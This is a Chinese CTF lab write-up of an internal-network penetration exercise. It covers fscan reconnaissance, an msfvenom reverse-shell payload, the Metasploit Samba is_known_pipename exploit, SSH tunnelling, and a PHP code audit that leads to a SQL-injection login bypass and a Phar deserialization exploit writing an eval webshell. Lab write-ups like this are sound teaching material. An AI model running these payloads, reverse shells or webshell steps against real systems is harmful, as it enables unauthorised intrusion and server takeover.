跳到主要内容
极客日志极客日志
首页博客AI提示词GitHub精选代理工具
搜索
|注册
博客列表
Shell / Bash

内网渗透实战:SSH 隧道搭建与 Web 代码审计漏洞利用

针对无外网访问权限的内网环境,演示通过 SSH 二层代理实现本地访问内网服务的方法。结合 fscan 扫描资产,利用 Samba 远程代码执行漏洞获取第一台主机权限。随后进行代码审计,发现 SQL 注入及反序列化漏洞,构造 Phar 文件绕过上传限制并写入 Webshell,最终通过蚁剑连接获取服务器控制权。

筑梦师发布于 2026/4/7更新于 2026/4/253 浏览
内网渗透实战:SSH 隧道搭建与 Web 代码审计漏洞利用

靶场介绍

来自 2023 年 2 月的 RealWorldCTF 渗透赛环境。

  • 需要本地 SSH 链接题目给的地址和端口,作为攻击机(攻击机不出网)
  • 攻击机预置了某些工具,可以自己使用
  • 使用 SSH 登陆攻击机
# ssh 连接命令
ssh [email protected] -p 环境生成的端口号

账号密码: 用户名:ctfshow 密码:ctfshow


信息收集过程

首先登陆内网攻击机:

图片描述

我们当前机器的权限是 root 用户,并且知道当前的内网 IP 网段为:172.2.102.0/24

图片描述

下一步思路:需要得知其他机器的网段和具体 IP 是多少;不然怎么渗透横向?所以我们可以上传工具 Linux 或者 fscan 等内网扫描工具。

这里我们使用 scp 命令进行传输:

# 格式 scp-P 目标端口 文件名称 目标 IP 地址:/tmp # 上传到内网攻击机的 /tmp 目录
scp -P28202 fscan [email protected]:/tmp
chmod +x fscan
./fscan -h172.2.102.0/24

结果如下:

图片描述

图片描述

成功上传,接下来执行该脚本:

图片描述

发现内网存在一台机器,并且搭建了一个文件管理系统。

尝试搭建 socks 代理(失败)

这里因为是在内网中,所以要想我们本地的 Kali 等能够访问,需要挂一个代理。

所以这里我用 MSF 生成一个反弹 shell后,在内网攻击机里执行:

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.44.129 LPORT=5555 -f elf > MSF.elf
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.44.129
set lport 5555
run

生成 payload:

图片描述

上传到内网机器:

图片描述

建立监听,看是否能返回会话:

图片描述

结果并没有返回,失败了;原因:该内网机器的网络 / 路由 / DNS 配置问题


渗透第一台主机(利用服务漏洞)

我们之前还通过 fscan 发现其开放的端口以及服务:

图片描述

  • 139 端口:samba 服务
  • 445 端口:smb 服务

这里我们可以用 MSF 框架的相关 payload 尝试一下是否存在漏洞:

# 搜索 search smb search samba
# 漏洞类型 永恒之蓝 (MS17-010):search ms17_010
# Samba 远程代码执行:search is_known_pipename
# 拒绝服务攻击:search type:dos platform:windows smb

经过尝试,发现第二台主机存在 Samba 远程代码执行 漏洞:

msfconsole -q
use exploit/linux/samba/is_known_pipename
# 内网目标机器地址:172.2.102.6 / 172.2.102.5
set rhost 172.2.102.6
exploit

过程:

图片描述

图片描述

这里我们就获取了第一台内网主机的最高权限。


内网 SSH 本地端口转发(新方法)

socks 隧道搭建不了怎么办?因为没有跳板机连通外网,所以用不了 frp 等工具;使用 SSH 本地端口转发 需要一台 公网 VPS

方法一:搭建单层代理(失败)
# 命令格式:ssh -CfNg -L<本地端口>:<目标主机 IP>:<目标主机端口><跳板机用户名>@<跳板机 IP>-p<跳板机端口>
ssh -CfNg -L80:172.2.102.6:80 [email protected] -p28202
原理说明

这条命令的作用是:

  • 把你本地机器的 80 端口,通过跳板机 pwn.challenge.ctf.show:28202,转发到目标主机 172.2.42.6:80。
  • 这样你在本地浏览器访问 **http://127.0.0.1:80**,就等价于访问跳板机后面的目标服务。

结果如下:但是失败了!!!

图片描述

报错的核心原因是:

  • 执行这条 SSH 命令的内网机器(172.2.102.4)无法将域名 pwn.challenge.ctf.show 解析为对应的 IP 地址
  • 内网机器'不出网':意味着内网机器未配置有效的 DNS 服务器(所以无法正常解析域名,造成报错)
方法二:搭建二层代理(成功)

打内网的时候经常出现的事就是我们获得了一台内网里服务器的权限,然后要通过这台服务器打其他机器,拓扑结构:

VPS -> linux 机器 (可控)->与 linux 机器在同一个内网内的其他机器

要实现从 本地 PC 访问这些内网资源,你需要通过 VPS 建立一个二级隧道。以下是完整的操作步骤:


第一步:在 VPS 上建立第一级隧道

此步骤将 CTF 内网机器 的端口映射到 VPS 的本地端口。 在你的 公网 VPS(需开启 999 端口) 上执行:

# 映射内网 172.2.102.5 的 80 端口(Web 系统)到 VPS 的 9999 端口
ssh -CfNg -L9999:172.2.215.5:80 [email protected] -p28202
第二步:在本地 PC 上建立第二级隧道

此步骤将 VPS 上的 9999 端口映射到你 本地 PC 的 8086 端口。

在你的 本地 PC 终端执行:

# 映射 VPS 的 9999 端口到本地的 8086 端口
ssh -CfNg -L8086:127.0.0.1:9999 root@VPS 公网地址 -p22
第三步:验证与访问

现在,链路已经打通: 本地 PC:8086 <—> VPS:9999 <—> CTF 跳板机 <—> 内网 172.2.102.5:80

访问 Web 界面:在本地浏览器输入 http://127.0.0.1:8086,你应该能看到'欢迎登陆 CTFshow 文件管理系统'

图片描述

方法三:使用 Proxifier(成功)

打开 Proxifier,配置

图片描述

图片描述

随后直接访问 http://172.2.102.5/ 也可成功访问内网:

图片描述

方法四:使用插件 Proxy SwitchyOmega 3(成功)

直接在 VPS 上建立一个 动态 Socks5 代理: (1)VPS 执行:ssh -CfNg -D 0.0.0.0:1080 [email protected] -p 28202

(2)本地使用:使用浏览器插件(如 Proxy SwitchyOmega)连接 VPS 地址:1080 (Socks5 协议)

(3)结果:你可以直接在浏览器访问 http://172.2.102.5,无需配置任何本地映射。

图片描述


渗透第二台主机(代码审计)

注意:靶场环境可能变动,请以实际 IP 为准:172.2.215.4

我们查看该网页,在底部发现了其CMS 系统名称:

图片描述

点击该文字,跳转到了其开源代码(可以进行代码审计)

代码审计:SQL 注入

在 api/index.php 发现可能存在的 sql 注入:

<?php /* # -*- coding: utf-8 -*-#
# @Author: h1xa
# @Date: 2023-02-22 09:15:26
# @Last Modified by: h1xa
# @Last Modified time: 2023-02-22 11:07:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com */
error_reporting(0);
session_start();
class action{
    private $username;
    private $password;
    private $email;
    public function doAction(){$action=$_GET['a'] ?? "login";
        switch ($action){
            case'login':$this->doLogin();break;
            case'reset':$this->doReset();break;
            case'view':$this->doView();break;
            default: $this->doDefault();break;
        }
    }
    function doLogin(){
        include 'config.php';
        $username=$this->doFilter($_POST['username']);
        $password=$this->doFilter($_POST['password']);
        $conn= new mysqli($dbhost,$dbuser,$dbpwd,$dbname);
        if(mysqli_connect_errno()){ die(json_encode(array(mysqli_connect_error())));}
        $conn->query("set name $charName");
        $sql="select password from user where username = '$username' and password = '$password' limit 0,1;";
        $result=$conn->query($sql);
        $row=$result->fetch_array(MYSQLI_ASSOC);
        if($row['password']===$password){$_SESSION['LOGIN']=true;}
        else{$_SESSION['LOGIN']=false;$_SESSION['msg']='登陆失败';}
        $conn->close();
        $_SESSION['LOGIN']?$this->dispatcher("../ckfinder/ckfinder.html"):$this->dispatcher("../index.php");
    }
    function doReset(){
        include 'config.php';
        $email= filter_input(INPUT_POST, 'email',FILTER_VALIDATE_EMAIL);
        $username=$this->doFilter($_POST['username']);
        $conn= new mysqli($dbhost,$dbuser,$dbpwd,$dbname);
        if(mysqli_connect_errno()){ die(json_encode(array(mysqli_connect_error())));}
        $conn->query("set name $charName");
        $sql="select email from user where email = '$email' and username = '$username'";
        $result=$conn->query($sql);
        $row=$result->fetch_array(MYSQLI_ASSOC);
        if($row['email']){$_SESSION['RESET']=true;$this->email =$row['email'];$_SESSION['msg']="你好!已将重置密码链接发送至邮箱".$this->email;}
        else{$_SESSION['RESET']=false;$_SESSION['msg']="邮箱不存在";}
        $conn->close();
        $this->dispatcher("../index.php");
    }
    function doDefault(){ header("location: ../index.php");}
    function doFilter($str){
        $str= str_replace("'", "%27", $str);
        $str= str_replace("\"", "%22", $str);
        $str= str_replace("\\", "%5c", $str);
        return$str;
    }
    function dispatcher($url){ header("location:$url");}
    public function __wakeup(){$this->clear();}
    function sendResetMail($mail){
        $content="你好,下面是你的重置密码链接,请复制到浏览器地址栏打开.";
        $content.="http://xxx.com/?token=xxxx&email=$mail"; //功能暂未实现,先保留邮件,以后发送
        file_put_contents("../mail_cache/cache.php","<?php exit('$content');?>");
    }
    function checkSession(){
        if($_SESSION['LOGIN']!==true){ die("请先登陆");return false;}
        else{return true;}
    }
    function doView(){$this->checkSession();$file=str_replace("..","",$_POST['file']);
        if(file_exists($file)){ header("Content-type: image/jpeg");echo file_get_contents("../ckfinder/userfiles/".$file);}}
    function clear(){
        if($_SESSION['LOGIN']&& isset($this->email)){$this->sendResetMail($this->email);}
    }
}
//hack here;
$action= new action();
$action->doAction();

代码分析:

由于 doFilter 只简单替换了单引号,且 SQL 语句为 select password from user where username = '$username' ...,我们可以构造一个万能密码。

  • Payload 构造:
    • username: admin
    • password: ' or '1'='1
# 实际执行的 SQL:select password from user where username ='admin'and password ='%27 or %271%27=%271'limit0,1;

注意:如果数据库端没有对 %27 进行 URL 解码处理,此方法可能失效。但在该题目中,如果 charName 存在宽字节环境(如 gbk),可使用 %df%27 进行绕过。

最后得到账号密码:ctfshow / ctfshase????

登录访问:

图片描述

页面如下:

图片描述

经过尝试,无法上传 .php 文件:

图片描述

代码审计:反序列化漏洞 (PHP Deserialization)

然后再审计 ckfinder 的部分:

  • 魔术方法:代码定义了 __wakeup() 方法,该方法会在对象被反序列化时自动触发。
  • 触发路径:__wakeup() 调用了 clear(),而 clear() 又调用了 sendResetMail($this->email)。
  • 漏洞细节:sendResetMail 函数使用了 file_put_contents,且写入的文件名和内容部分可控。
  • 利用方式:如果攻击者能控制反序列化过程中的 $this->email 属性,就可以利用 PHP 死亡绕过(Death Bypass)技术。例如,构造 email 为 ?><?php phpinfo();?>,通过闭合前面的 exit() 来实现 RCE(远程代码执行)。
    • 注意:代码末尾虽然没有显式的 unserialize(),但在 CTF 环境中,通常结合 session 反序列化或其他入口点触发。
第一步:先将以下内容写到一个 exp.php 里:
<?php
class action{
    private $email="'.eval($_POST[1]).');//";
}
$a=new action();
$phar=new Phar("exp2.phar");
$phar->startBuffering();
$phar->setStub(file_get_contents('exp.png')."<?php __HALT_COMPILER(); ?>");
$phar->addFromString('exp.txt','exp');
$phar->setMetadata($a);
$phar->stopBuffering();

原理:

  • 这个地方的类是 action,如果触发了反序列化的话会把 <?php exit('$content');?> 写入到 /var/www/html/mail_cache/cache.php 中;
  • 然后 $content = '你好,下面是你的重置密码链接,请复制到浏览器地址栏打开 http://xxx.com/?token=xxxx&email=$mail'; 可以反序列化 $mail,
  • 插进去会变成这样:
file_put_contents("../mail_cache/cache.php","<?php exit('你好,下面是你的重置密码链接,请复制到浏览器地址栏打开 http://xxx.com/?token=xxxx&email='.eval($_POST[1]))//');?>");
第二步:然后打开 php.ini,设置 phar.readonly=Off

确保你本地安装了 PHP,如果安装了 phpstudy,找到 D:\phpstudy_pro\Extensions\php\php7.3.4nts\php.ini

  • 确保该行没有前面的分号 ;(分号表示注释)。
  • 修改为:phar.readonly = Off。

图片描述

第三步:然后使用 python 脚本生成一个较小的图片 (较大的图片上传不上去)
from PIL import Image
# 创建一个新的白色图片(RGB 格式)
image = Image.new("RGB", (10, 10), "white")
# 保存图片
image.save("exp.png")
第四步:执行 php exp.php 生成一个 exp.phar

临时运行脚本(无需配置环境变量):

# 基础写法(如果 exp.php 在当前目录,直接用这个)
&D:\phpstudy_pro\Extensions\php\php7.3.4nts\php.exe exp.php
# 如果 exp.php 在指定路径(比如桌面),替换成实际路径
&D:\phpstudy_pro\Extensions\php\php7.3.4nts\php.exe "C:\Users\[User]\Desktop\exp.php"

结果如下:

图片描述

成功生成:

图片描述

第五步:将 exp2.phar 后缀改为 exp2.png

将 exp2.phar 后缀改为 exp2.png,到上传图片的地方,上传这个文件

图片描述

第六步:蚁剑连接

登录后,之后使用 hackbar

  • GET 传参:http://xxx/api/index.php?a=view
  • POST 传参:file=phar:///var/www/html/ckfinder/userfiles/images/exp2.png

图片描述

图片描述

然后访问 http://127.0.0.1:8086/mail_cache/cache.php

图片描述

然后蚁剑可以直接连接

图片描述

图片描述


总结

  • 方法一:在 MSF 横向到目标主机时,即可得到 flag;
  • 方法二:通过搭建代理,然后代码审计,蚁剑登陆也能得到 flag;

图片描述

技术总结:

  • SSH 跳板机连接与提权,获取交互式 Shell
  • SCP 协议实现本地到跳板机的工具传输
  • fscan 内网网段扫描,发现存活资产与开放端口
  • MSF 框架利用 Samba 服务 is_known_pipename 漏洞 getshell
  • SSH 本地端口映射搭建隧道,实现本地访问内网 Web 服务
  • PHP 代码审计,挖掘反序列化、代码注入潜在漏洞
  • Phar 协议构造恶意文件,结合图片后缀绕过文件上传限制
  • 修改 php.ini 配置(phar.readonly=Off)生成恶意 Phar 文件
  • phar://协议触发反序列化,写入一句话木马
  • 蚁剑连接一句话木马,获取 Web 服务权限
  • SQL 注入 fuzz 测试,分析邮箱格式验证的过滤规则

目录

  1. 靶场介绍
  2. ssh 连接命令
  3. 信息收集过程
  4. 格式 scp-P 目标端口 文件名称 目标 IP 地址:/tmp # 上传到内网攻击机的 /tmp 目录
  5. 尝试搭建 socks 代理(失败)
  6. 渗透第一台主机(利用服务漏洞)
  7. 搜索 search smb search samba
  8. 漏洞类型 永恒之蓝 (MS17-010):search ms17_010
  9. Samba 远程代码执行:search isknownpipename
  10. 拒绝服务攻击:search type:dos platform:windows smb
  11. 内网目标机器地址:172.2.102.6 / 172.2.102.5
  12. 内网 SSH 本地端口转发(新方法)
  13. 方法一:搭建单层代理(失败)
  14. 命令格式:ssh -CfNg -L<本地端口>:<目标主机 IP>:<目标主机端口><跳板机用户名>@<跳板机 IP>-p<跳板机端口>
  15. 原理说明
  16. 方法二:搭建二层代理(成功)
  17. 第一步:在 VPS 上建立第一级隧道
  18. 映射内网 172.2.102.5 的 80 端口(Web 系统)到 VPS 的 9999 端口
  19. 第二步:在本地 PC 上建立第二级隧道
  20. 映射 VPS 的 9999 端口到本地的 8086 端口
  21. 第三步:验证与访问
  22. 方法三:使用 Proxifier(成功)
  23. 方法四:使用插件 Proxy SwitchyOmega 3(成功)
  24. 渗透第二台主机(代码审计)
  25. 代码审计:SQL 注入
  26. @Author: h1xa
  27. @Date: 2023-02-22 09:15:26
  28. @Last Modified by: h1xa
  29. @Last Modified time: 2023-02-22 11:07:47
  30. @email: [email protected]
  31. @link: https://ctfer.com */
  32. 实际执行的 SQL:select password from user where username ='admin'and password ='%27 or %271%27=%271'limit0,1;
  33. 代码审计:反序列化漏洞 (PHP Deserialization)
  34. 第一步:先将以下内容写到一个 exp.php 里:
  35. 第二步:然后打开 php.ini,设置 phar.readonly=Off
  36. 第三步:然后使用 python 脚本生成一个较小的图片 (较大的图片上传不上去)
  37. 创建一个新的白色图片(RGB 格式)
  38. 保存图片
  39. 第四步:执行 php exp.php 生成一个 exp.phar
  40. 基础写法(如果 exp.php 在当前目录,直接用这个)
  41. 如果 exp.php 在指定路径(比如桌面),替换成实际路径
  42. 第五步:将 exp2.phar 后缀改为 exp2.png
  43. 第六步:蚁剑连接
  44. 总结
  • 💰 8折买阿里云服务器限时8折了解详情
  • 💰 8折买阿里云服务器限时8折购买
  • 🦞 5分钟部署阿里云小龙虾了解详情
  • 🤖 一键搭建Deepseek满血版了解详情
  • 一键打造专属AI 智能体了解详情
极客日志微信公众号二维码

微信扫一扫,关注极客日志

微信公众号「极客日志V2」,在微信中扫描左侧二维码关注。展示文案:极客日志V2 zeeklog

更多推荐文章

查看全部
  • Windows 7 系统运行最新 Python 版本的解决方案
  • 医疗 AI 模型部署的现实困境与临床集成挑战
  • 独立开发者如何利用 AIGC 解决 UI 素材短缺问题
  • OpenClaw 本地极简部署与 QQ 机器人接入教程
  • GitHub Copilot 安装与使用详解
  • Nginx 安全配置实战:8 大核心功能详解
  • 前端状态管理:Recoil 原子化方案详解
  • 前端GraphQL客户端:优雅地获取数据
  • OpenClaw 大龙虾机器人安装与配置指南
  • AI 办公成职场标配,7 套书教你精准用 AI 提效
  • MCP 模型上下文协议详解:概念、组件与应用
  • 微信小程序交通违法曝光平台设计与实现:AI 与 Python 实践
  • 网络安全入门:成为安全研究员需掌握的十大基础技能
  • 哈希表原理与实现:线性探测及链地址法
  • 前端权限管理实现方案与最佳实践
  • Copilot 代理配置与网络优化实战指南
  • 转行程序员:开发语言选择与岗位薪资解析
  • 从零构建 gRPC 跨语言通信:C++ 服务端与 C# 客户端实战
  • 从零手写 STL Set/Map:基于红黑树的泛型设计与实现
  • Python 爬虫开发常用软件与工具指南

相关免费在线工具

  • Base64 字符串编码/解码

    将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online

  • Base64 文件转换器

    将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online

  • Markdown转HTML

    将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML转Markdown 互为补充。 在线工具,Markdown转HTML在线工具,online

  • HTML转Markdown

    将 HTML 片段转为 GitHub Flavored Markdown,支持标题、列表、链接、代码块与表格等;浏览器内处理,可链接预填。 在线工具,HTML转Markdown在线工具,online

  • JSON 压缩

    通过删除不必要的空白来缩小和压缩JSON。 在线工具,JSON 压缩在线工具,online

  • JSON美化和格式化

    将JSON字符串修饰为友好的可读格式。 在线工具,JSON美化和格式化在线工具,online